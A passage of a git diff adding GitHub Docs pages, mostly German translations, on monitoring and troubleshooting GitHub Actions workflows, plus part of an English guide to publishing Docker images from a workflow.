+![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push)
+```
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
new file mode 100644
index 0000000000..27c3e1a1cb
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
@@ -0,0 +1,52 @@
+---
+title: Aktivieren der Debugprotokollierung
+intro: 'Wenn die Workflow-Logs nicht genügend Details zur Diagnose enthalten, warum ein Workflow, ein Job oder ein Schritt nicht wie erwartet abläuft, kannst du die zusätzliche Debug-Protokollierung aktivieren.'
+redirect_from:
+  - /actions/managing-workflow-runs/enabling-debug-logging
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: a2a7f6ff009782c636fd7b9e453bba869d6c799d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179383'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+Diese zusätzlichen Protokolle werden aktiviert, wenn in dem Repository, das den Workflow enthält, Geheimnisse festgelegt werden. Somit gelten die gleichen Berechtigungsvoraussetzungen:
+
+- {% data reusables.actions.permissions-statement-secrets-repository %}
+- {% data reusables.actions.permissions-statement-secrets-environment %}
+- {% data reusables.actions.permissions-statement-secrets-organization %}
+- {% data reusables.actions.permissions-statement-secrets-api %}
+
+Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+{% ifversion debug-reruns %}
+
+Darüber hinaus kann jeder, der Zugriff auf die Ausführung eines Workflows hat, die Runnerdiagnoseprotokollierung und die schrittweise Debugprotokollierung für einen Workflow erneut ausführen. Weitere Informationen findest Du unter [Erneutes Ausführen von Workflows und Jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs).
+
+ {% endif %}
+
+## Diagnose-Protokollierung des Runners aktivieren
+
+Die Runner-Diagnoseprotokollierung bietet zusätzliche Protokolldateien mit Informationen zur Ausführung eines Auftrags durch einen Runner. In das Protokollarchiv werden zwei weitere Protokolldateien aufgenommen:
+
+* das Runner-Prozessprotokoll mit Informationen zur Koordinierung und Einrichtung von Runnern für die Ausführung von Aufträgen
+* das Worker-Prozessprotokoll, in dem die Ausführung eines Auftrags protokolliert wird
+
+1. Für die Aktivierung der Runner-Diagnoseprotokollierung muss in dem Repository, das den Workflow enthält, das Geheimnis `ACTIONS_RUNNER_DEBUG` auf `true` festgelegt werden.
+
+1. Sollen die Runner-Diagnoseprotokolle heruntergeladen werden, lade das Protokollarchiv des Workflow-Laufs herunter. Die Runner-Diagnoseprotokolle befinden sich im Ordner `runner-diagnostic-logs`. Weitere Informationen zum Herunterladen von Protokollen findest du unter [Herunterladen von Protokollen](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs).
+
+## Debug-Schrittprotokollierung aktivieren
+
+Bei der Debug-Schrittprotokollierung werden ausführlichere Protokolle während und nach der Ausführung eines Auftrags erstellt.
+
+1. Zum Aktivieren der Debug-Schrittprotokollierung muss in dem Repository, das den Workflow enthält, das Geheimnis `ACTIONS_STEP_DEBUG` auf `true` festgelegt werden.
+
+1. Sobald du das Geheimnis festgelegt hast, werden weitere Debug-Ereignisse in den Schrittprotokollen aufgeführt. Weitere Informationen findest du unter [Protokolle zur Fehlerdiagnose anzeigen](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/index.md
new file mode 100644
index 0000000000..a5b5bf90ca
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/index.md
@@ -0,0 +1,29 @@
+---
+title: Überwachungs- und Problembehandlungsworkflows
+shortTitle: Monitor & troubleshoot
+intro: 'Sie können Status und Ergebnisse der einzelnen Schritte Ihres Workflows einsehen, einen fehlgeschlagenen Workflow debuggen, Protokolle durchsuchen und herunterladen und die abrechenbaren Minuten der Auftragsausführung prüfen.'
+redirect_from:
+  - /articles/viewing-your-repository-s-workflows
+  - /articles/viewing-your-repositorys-workflows
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-monitoring-and-troubleshooting
+  - /using-the-visualization-graph
+  - /adding-a-workflow-status-badge
+  - /viewing-workflow-run-history
+  - /viewing-job-execution-time
+  - /using-workflow-run-logs
+  - /enabling-debug-logging
+  - /notifications-for-workflow-runs
+ms.openlocfilehash: 47134b99ae01a9f7b946048b4bb096b0d45578b3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107223'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
new file mode 100644
index 0000000000..492f590a09
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
@@ -0,0 +1,19 @@
+---
+title: Benachrichtigungen für Workflow-Läufe
+intro: 'Du kannst Benachrichtigungen zu Workflowausführungen abonnieren, die du auslöst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Notifications
+ms.openlocfilehash: 3d311cb53f476a98e745a1b6de61eec370086159
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107219'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.repositories.workflow-notifications %}
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
new file mode 100644
index 0000000000..b8ae96230f
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
@@ -0,0 +1,27 @@
+---
+title: Verwenden des Visualisierungsdiagramms
+intro: 'Jede Workflowausführung generiert ein Echtzeitdiagramm, das den Ausführungsfortschritt veranschaulicht. Du kannst dieses Diagramm verwenden, um Workflows zu überwachen und zu debuggen.'
+redirect_from:
+  - /actions/managing-workflow-runs/using-the-visualization-graph
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Use the visualization graph
+ms.openlocfilehash: 7bd21c783afe21b10bdf64b8ccc42a84a009109a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107208'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %}
+
+1. Das Diagramm zeigt jeden Auftrag im Workflow an. Ein Symbol links neben dem Auftragsnamen gibt den Status des Auftrags an. Zeilen zwischen Aufträgen geben Abhängigkeiten an.
+   ![Workflowdiagramm](/assets/images/help/images/workflow-graph.png)
+
+2. Klicke auf einen Auftrag, um das Auftragsprotokoll anzuzeigen.
+   ![Workflowdiagramm](/assets/images/help/images/workflow-graph-job.png)
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
new file mode 100644
index 0000000000..0ec77458f0
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
@@ -0,0 +1,107 @@
+---
+title: Verwenden von Workflowausführungsprotokollen
+intro: 'Du kannst Protokolle für jeden Auftrag in einer Workflowausführung anzeigen, durchsuchen und herunterladen.'
+redirect_from:
+  - /actions/managing-workflow-runs/using-workflow-run-logs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: ef8d0a7f1708b8c23705a04496b3d78737aec450
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147521522'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+Auf der Workflow-Lauf-Seite können sie sehen, ob ein Workflow-Lauf ausgeführt wird oder abgeschlossen ist. Du musst mit einem {% data variables.product.prodname_dotcom %}-Konto angemeldet sein, um Workflow-Informationen anzuzeigen, auch für öffentliche Repositories. Weitere Informationen findest du unter „[Zugriffsberechtigungen für GitHub](/articles/access-permissions-on-github)“.
+
+Wenn der Lauf abgeschlossen ist, kannst du sehen, ob das Ergebnis erfolgreich, fehlerhaft, abgebrochen oder neutral war. Wenn der Lauf fehlgeschlagen ist, kannst du die Build-Protokolle anzeigen und durchsuchen, um den Fehler zu diagnostizieren und den Workflow erneut auszuführen. Du kannst auch abrechenbare Auftragsausführungsminuten anzeigen oder Protokolle und Buildartefakte herunterladen.
+
+{% data variables.product.prodname_actions %} verwenden die Checks API, um Status, Ergebnisse und Protokolle für einen Workflow auszugeben. {% data variables.product.prodname_dotcom %} erstellt eine neue Prüfsuite für jeden Workflow-Lauf. Die Prüfsuite enthält einen Prüflauf für jeden Auftrag im Workflow, und jeder Auftrag enthält Schritte. {% data variables.product.prodname_actions %} werden als Schritt in einem Workflow ausgeführt. Weitere Informationen zur Überprüfungs-API findest du unter „[Überprüfungen](/rest/reference/checks)“.
+
+{% data reusables.actions.invalid-workflow-files %}
+
+## Protokolle zur Fehlerdiagnose anzeigen
+
+Wenn dein Workflow-Lauf fehlschlägt, kannst du sehen, welcher Schritt den Fehler verursacht hat, und die Build-Protokolle des fehlgeschlagenen Schrittes zur Fehlerbehebung überprüfen. Du siehst, wie lange es gedauert hat, bis jeder Schritt ausgeführt wurde. Du kannst außerdem einen Permalink in eine bestimmte Zeile in der Protokolldatei kopieren, um ihn mit deinem Team zu teilen. {% data reusables.repositories.permissions-statement-read %}
+
+Neben den in der Workflowdatei konfigurierten Schritten fügt {% data variables.product.prodname_dotcom %} jedem Auftrag zwei weitere Schritte hinzu, um die Auftragsausführung einzurichten und abzuschließen. Diese Schritte werden in der Workflowausführung mit den Namen „Auftrag einrichten“ und „Auftrag abschließen“ protokolliert.
+
+Bei Aufträgen, die auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern ausgeführt werden, werden mit „Auftrag einrichten“ Details zum Runner-Image aufgezeichnet. Zudem wird ein Link zu der Liste der vorinstallierten Tools bereitgestellt, die auf dem Runnercomputer vorhanden waren.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %} {% data reusables.repositories.view-failed-job-results %} {% data reusables.repositories.view-specific-line %}
+
+## Protokolle durchsuchen
+
+Du kannst die Build-Protokolle für einen bestimmten Schritt durchsuchen. Beim Durchsuchen von Protokollen werden nur eingeblendete Schritte in die Ergebnisse einbezogen. {% data reusables.repositories.permissions-statement-read %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %}
+1. Gib oben rechts in der Protokollausgabe eine Suchanfrage in das Suchfeld **Protokolle durchsuchen** ein.
+![Suchfeld zum Durchsuchen von Protokollen](/assets/images/help/repository/search-log-box-updated-2.png)
+
+## Herunterladen von Protokollen
+
+Du kannst die Protokolldateien aus deiner Workflowausführung löschen. Außerdem kannst du Artefakte eines Workflows herunterladen. Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). {% data reusables.repositories.permissions-statement-read %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %}
+1. Klicke oben rechts auf {% octicon "gear" aria-label="The gear icon" %}, und wähle **Protokollarchiv herunterladen** aus.
+  
+  ![Dropdownmenü zum Herunterladen von Protokollen](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
+  
+
+  {% ifversion re-run-jobs %}
+
+  {% note %}
+
+  **Hinweis**: Wenn du das Protokollarchiv für einen Workflow herunterlädst, der teilweise erneut ausgeführt wurde, enthält das Archiv nur die Aufträge, die erneut ausgeführt wurden. Zum Abrufen einer vollständigen Menge von Protokollen, die über einen Workflow ausgeführt wurden, musst du die Protokollarchive für die vorherigen Ausführungsversuche herunterladen, bei denen die anderen Aufträge ausgeführt wurden.
+
+  {% endnote %}
+
+  {% endif %}
+
+## Logs löschen
+
+Du kannst die Protokolldateien aus deiner Workflowausführung löschen. {% data reusables.repositories.permissions-statement-write %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %}
+1. Klicke oben rechts auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+    
+    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
+    
+2. Zum Löschen der Protokolldateien klicke auf die Schaltfläche **Alle Protokolle löschen**, und überprüfe die Bestätigungsaufforderung. 
+  
+  ![Alle Protokolle löschen](/assets/images/help/repository/delete-all-logs-updated-2.png)
+  
+Nach dem Löschen von Protokollen wird die Schaltfläche **Alle Protokolle löschen** entfernt, um darauf hinzuweisen, dass keine Protokolldateien mehr in der Workflowausführung vorhanden sind.
+
+## Anzeigen von Protokollen mit {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Verwende den Unterbefehl `run view`, um das Protokoll für einen bestimmten Auftrag anzuzeigen. Ersetze `run-id` durch die ID der Ausführung, für die du Protokolle anzeigen möchtest. {% data variables.product.prodname_cli %} gibt ein interaktives Menü zurück, in dem du einen Auftrag aus der Ausführung auswählen kannst. Wenn du `run-id` nicht angibst, gibt {% data variables.product.prodname_cli %} nacheinander zwei interaktive Menüs zurück: das erste zum Auswählen einer kürzlich erfolgten Ausführung und das zweite zum Auswählen eines Auftrags aus der Ausführung.
+
+```shell
+gh run view <em>run-id</em> --log
+```
+
+Du kannst auch das Flag `--job` verwenden, um eine Auftrags-ID anzugeben. Ersetze `job-id` durch die ID des Auftrags, für den du Protokolle anzeigen möchtest.
+
+```shell
+gh run view --job <em>job-id</em> --log
+```
+
+Du kannst `grep` verwenden, um das Protokoll zu durchsuchen. Mit diesem Befehl können beispielsweise alle Protokolleinträge zurückgegeben werden, die das Wort `error`enthalten.
+
+```shell
+gh run view --job <em>job-id</em> --log | grep error
+```
+
+Zum Filtern der Protokolle nach fehlgeschlagenen Schritten verwende `--log-failed` anstelle von `--log`.
+
+```shell
+gh run view --job <em>job-id</em> --log-failed
+```
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
new file mode 100644
index 0000000000..0fa0b0ccb6
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
@@ -0,0 +1,29 @@
+---
+title: Viewing job execution time
+shortTitle: View job execution time
+intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
+redirect_from:
+  - /actions/managing-workflow-runs/viewing-job-execution-time
+versions:
+  fpt: '*'
+  ghec: '*'
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.navigate-to-workflow %}
+{% data reusables.repositories.view-run %}
+1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, in the left sidebar under "Run details", click **{% octicon "stopwatch" aria-label="The stopwatch icon" %} Usage**.
+
+   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+
+   {% note %}
+
+   **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
+
+   {% endnote %}
diff --git a/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
new file mode 100644
index 0000000000..aad4a297da
--- /dev/null
+++ b/translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -0,0 +1,85 @@
+---
+title: Anzeigen des Ausführungsverlaufs eines Workflows
+intro: Du kannst für jede Ausführung eines Workflows Protokolle anzeigen. Protokolle enthalten den Status für jeden Auftrag und Schritt in einem Workflow.
+redirect_from:
+  - /actions/managing-workflow-runs/viewing-workflow-run-history
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: View workflow run history
+ms.openlocfilehash: bfef1ccd9f15480000332aec3ced6dc326cb9af3
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107203'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.repositories.permissions-statement-read %}
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+### Anzeigen der letzten Workflowausführungen
+
+Verwende zum Auflisten der letzten Workflowausführungen den Unterbefehl `run list`.
+
+```shell
+gh run list
+```
+
+Um die maximale Anzahl der zurückzugebenden Ausführungen anzugeben, kannst du das Flag `-L` oder `--limit` verwenden. Der Standardwert ist `10`.
+
+```shell
+gh run list --limit 5
+```
+
+Um nur Ausführungen für den angegebenen Workflow zurückzugeben, kannst du das Flag `-w` oder `--workflow` verwenden.  Ersetze `workflow` entweder durch den Workflownamen, die Workflow-ID oder den Workflowdateinamen. Beispiel: `"Link Checker"`, `1234567` oder `"link-check-test.yml"`.
+
+```shell
+gh run list --workflow <em>workflow</em>
+```
+
+### Anzeigen von Details für eine bestimmte Workflowausführung
+
+Verwende den Unterbefehl `run view`, um Details für eine bestimmte Workflowausführung anzuzeigen. Ersetze `run-id` durch die ID der Ausführung, die du anzeigen möchtest. Wenn du keine `run-id` angibst, gibt {% data variables.product.prodname_cli %} ein interaktives Menü zurück, in dem du eine der letzten Ausführungen auswählen kannst.
+
+```shell
+gh run view <em>run-id</em>
+```
+
+Um Auftragsschritte in die Ausgabe einzuschließen, verwende das Flag `-v` oder `--verbose`.
+
+```shell
+gh run view <em>run-id</em> --verbose
+```
+
+Zum Anzeigen von Details zu einem bestimmten Auftrag in der Ausführung verwendest du das Flag `-j` oder `--job`.  Ersetze `job-id` durch die ID des Auftrags, den du anzeigen möchtest.
+
+```shell
+gh run view --job <em>job-id</em>
+```
+
+Verwende das Flag `--log`, um das vollständige Protokoll für einen Auftrag anzuzeigen.
+
+```shell
+gh run view --job <em>job-id</em> --log
+```
+
+Verwende das Flag `--exit-status`, um den Vorgang mit einem Status ungleich 0 zu beenden, wenn die Ausführung fehlgeschlagen ist. Beispiel:
+
+```shell
+gh run view 0451 --exit-status && echo "run pending or passed"
+```
+
+{% endcli %}
diff --git a/translations/de-DE/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/de-DE/content/actions/publishing-packages/about-packaging-with-github-actions.md
new file mode 100644
index 0000000000..3b6a6f23ab
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/about-packaging-with-github-actions.md
@@ -0,0 +1,30 @@
+---
+title: Informationen zum Verpacken mit GitHub Actions
+intro: 'In {% data variables.product.prodname_actions %}kannst du Workflows einrichten, um Pakete zu erstellen und sie zu {% data variables.product.prodname_registry %} oder einem anderen Paket-Hosting-Anbieter hochzuladen.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions
+  - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions
+  - /actions/guides/about-packaging-with-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Packaging
+shortTitle: Packaging with GitHub Actions
+ms.openlocfilehash: 49f59dd4388e67b36d901f79d6e71a7777e8b55c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107199'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.package_registry.about-packaging-and-actions %}
+
+## Weiterführende Themen
+
+- [Node.js-Pakete veröffentlichen](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)
diff --git a/translations/de-DE/content/actions/publishing-packages/index.md b/translations/de-DE/content/actions/publishing-packages/index.md
new file mode 100644
index 0000000000..b935d9ee3e
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/index.md
@@ -0,0 +1,25 @@
+---
+title: Veröffentlichen von Paketen
+shortTitle: Publishing packages
+intro: 'Du kannst Pakete automatisch mit {% data variables.product.prodname_actions %} veröffentlichen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /actions/publishing-packages-with-github-actions
+children:
+  - /about-packaging-with-github-actions
+  - /publishing-docker-images
+  - /publishing-java-packages-with-gradle
+  - /publishing-java-packages-with-maven
+  - /publishing-nodejs-packages
+ms.openlocfilehash: bf161985af349b60ae46ea0a1740b01b108db1e6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879131'
+---
+
diff --git a/translations/de-DE/content/actions/publishing-packages/publishing-docker-images.md b/translations/de-DE/content/actions/publishing-packages/publishing-docker-images.md
new file mode 100644
index 0000000000..8f521c2664
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/publishing-docker-images.md
@@ -0,0 +1,259 @@
+---
+title: Publishing Docker images
+shortTitle: Publish Docker images
+intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.'
+redirect_from:
+  - /actions/language-and-framework-guides/publishing-docker-images
+  - /actions/guides/publishing-docker-images
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Packaging
+  - Publishing
+  - Docker
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries.
+
+{% note %}
+
+**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template.
+
+{% endnote %}
+
+## Prerequisites
+
+We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+
+You might also find it helpful to have a basic understanding of the following:
+
+- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
+- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
+- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
+- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
+
+## About image configuration
+
+This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% data reusables.package_registry.about-docker-labels %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#labelling-container-images)."
+
+{% endif %}
+
+In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
+
+{% data reusables.actions.enterprise-marketplace-actions %}
+
+## Publishing images to Docker Hub
+
+{% data reusables.actions.release-trigger-workflow %}
+
+In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub.
+
+To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation.
+
+The `login-action` options required for Docker Hub are:
+* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+
+The `metadata-action` option required for Docker Hub is:
+* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub.
+
+The `build-push-action` options required for Docker Hub are:
+* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list.
+* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish Docker image
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  push_to_registry:
+    name: Push Docker image to Docker Hub
+    runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %}
+    steps:
+      - name: Check out the repo
+        uses: {% data reusables.actions.action-checkout %}
+      
+      - name: Log in to Docker Hub
+        uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+        with:
+          username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
+          password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
+      
+      - name: Extract metadata (tags, labels) for Docker
+        id: meta
+        uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
+        with:
+          images: my-docker-hub-namespace/my-docker-hub-repository
+      
+      - name: Build and push Docker image
+        uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
+        with:
+          context: .
+          push: true
+          tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %}
+          labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
+```
+
+The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image.
+
+## Publishing images to {% data variables.product.prodname_registry %}
+
+{% ifversion ghes > 3.4 %}
+{% data reusables.package_registry.container-registry-ghes-beta %}
+{% endif %}
+
+{% data reusables.actions.release-trigger-workflow %}
+
+In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}.
+
+The `login-action` options required for {% data variables.product.prodname_registry %} are:
+* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}`{% else %}`docker.pkg.github.com`{% endif %}.
+* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+
+{% ifversion fpt or ghec %}
+The `metadata-action` option required for {% data variables.product.prodname_registry %} is:
+* `images`: The namespace and name for the Docker image you are building.
+{% endif %}
+
